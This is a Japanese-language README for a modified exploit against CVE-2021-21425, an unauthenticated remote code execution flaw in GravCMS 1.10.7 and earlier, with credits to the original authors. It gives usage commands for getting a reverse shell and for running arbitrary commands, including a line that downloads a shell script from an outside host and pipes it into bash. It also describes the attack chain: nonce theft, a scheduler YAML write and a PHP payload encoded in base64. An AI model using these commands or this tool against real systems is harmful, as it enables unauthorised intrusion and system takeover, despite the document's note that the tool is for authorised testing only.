
CVE-2021-21425 - GravCMS 1.10.7 認証不要のRCE(スケジューラを介した)。CLI引数と自動base64エンコーディングによる改良版エクスプロイト。
CVE-2021-21425 の改良版概念実証。これは GravCMS <= 1.10.7 における未認証のリモートコード実行脆弱性で、スケジューラへの任意の YAML 書き込みを悪用します。
これは派生作品です。脆弱性および元のエクスプロイトは私のものではありません。
| 役割 | 担当 |
|---|---|
| 脆弱性の発見者 | Mehmet Ince (@mdisec)、PRODAFT / INVICTUS Europe — 2021年3月 |
| 元のPoCの作者 | "legend" — Exploit-DB EDB-49973 |
| このリポジトリでの改変者 | d4ytox |
元の EDB-49973 では、スクリプト内のハードコードされた値を手動で編集する必要があります。このバージョンでは以下を追加しています:
-c)これらは既存のエクスプロイトに対するユーザビリティの変更です。脆弱性研究を主張するものではありません。
| 項目 | 値 |
|---|---|
| CVE | CVE-2021-21425 |
| EDB-ID | 49973 |
| 影響を受けるバージョン | GravCMS <= 1.10.7 |
| 種類 | 未認証RCE |
| CVSS | 9.8 (Critical) |
Grav Admin プラグインは特定の管理ルートで認証を検証しないため、未認証のユーザーが任意の YAML 設定を書き込むことができます。このエクスプロイトはスケジューラ設定を悪用して、任意の PHP コードを実行する cron ジョブを作成します。
# Reverse shell
python3 exploit.py -t http://target -s <LHOST> <LPORT>
# Custom command
python3 exploit.py -t http://target -c "id"
# Get reverse shell on target
python3 exploit.py -t http://10.10.10.5 -s 10.10.14.5 4444
# Execute command
python3 exploit.py -t http://grav.local:8080 -c "curl http://10.10.14.5/shell.sh | bash"
pip install requests
/admin を取得して admin-nonce トークンを抽出(脆弱性により認証不要)/admin/config/scheduler に送信/usr/bin/php -r eval(base64_decode(...)) 経由で PHP ペイロードを実行/tmp/rev.sh に書き込み、実行cron ジョブは毎分実行されるため(* * * * *)、シェルは60秒以内に到達します。
MIT。このリポジトリの改変にのみ適用されます。上流の PoC にはライセンスがないため、その作者による全権利留保のままです。完全な帰属表示については LICENSE を参照してください。
許可されたセキュリティテスト専用です。いかなるシステムに対してもテストを行う前に、書面による許可があることを確認してください。